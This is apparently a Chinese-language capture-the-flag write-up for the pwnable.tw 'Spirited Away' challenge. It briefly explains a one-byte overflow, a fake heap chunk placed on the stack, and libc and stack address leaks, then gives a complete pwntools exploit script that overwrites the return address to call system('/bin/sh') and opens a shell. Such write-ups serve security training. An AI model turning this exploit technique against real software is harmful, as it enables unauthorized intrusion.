PWNABLE.TW-Spirited Away-WP
比较简单的栈溢出加堆溢出。

此处在 cnt >= 100
时有单字节溢出,会把 nbytes
溢出成 n
然后通过此处

修改 buf,使之指向栈上一段可控空间

比如这一段,我们可以轻易地布置 fake chunk
free
掉就可以实现 alloc to stack,然后就可以修改返回地址 getshell。
关于 leak:
- libc 基址可以容易的 leak 出来
- 栈地址也可以通过 reason 来 leak,这个可能需要仔细调试才能看出
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#sh = process("./spirited_away",env={"LD_PRELOAD":"/home/chuj/pwnable/libc_32.so.6"})
sh = remote("chall.pwnable.tw",10204)
elf = ELF("./spirited_away")
libc = ELF("./libc_32.so.6")
def one_survey(name,age,reason,comment,y_or_n):
if(y_or_n != 'pass'):
sh.sendlineafter("<y/n>: ",y_or_n)
sh.sendafter("name: ",name)
sh.sendlineafter("age: ",age)
sh.sendafter("movie? ",reason)
sh.sendafter("comment: ",comment)
payload_reason = 'a' * 23 + '-'
one_survey('1','1',payload_reason,'1','pass')
sh.recvuntil('a-')
_IO_file_sync = u32(sh.recv(4)) - 7
libc_base = _IO_file_sync - libc.symbols["_IO_file_sync"]
log.success("libc_base:" + hex(libc_base))
system_addr = libc_base + libc.symbols["system"]
bin_sh_addr = libc_base + libc.search("/bin/sh").next()
alloc_addr = 0x804A00C
for i in range(1,101):
log.success("cnt:" + str(i))
one_survey('1','1','1','1','y')
payload_reason = 'a' * (0x37) + "-"
one_survey('1','1',payload_reason,'1','y')
sh.recvuntil('a-')
stack = u32(sh.recv(4)) - 0x70 + 8
log.success("stack:" + hex(stack))
payload_reason = p32(0) + p32(0x41) + 'a' * 0x38 + p32(0) + p32(0x11)
payload_comment = 'a' * (0xA4 - 0x50) + p32(stack)
one_survey('1','1',payload_reason,payload_comment,'y')
payload_name = 'a' * (0x4C) + p32(system_addr) + 'aaaa' + p32(bin_sh_addr)
one_survey(payload_name,'1','1','1','y')
sh.sendlineafter("<y/n>: ",'n')
sh.interactive()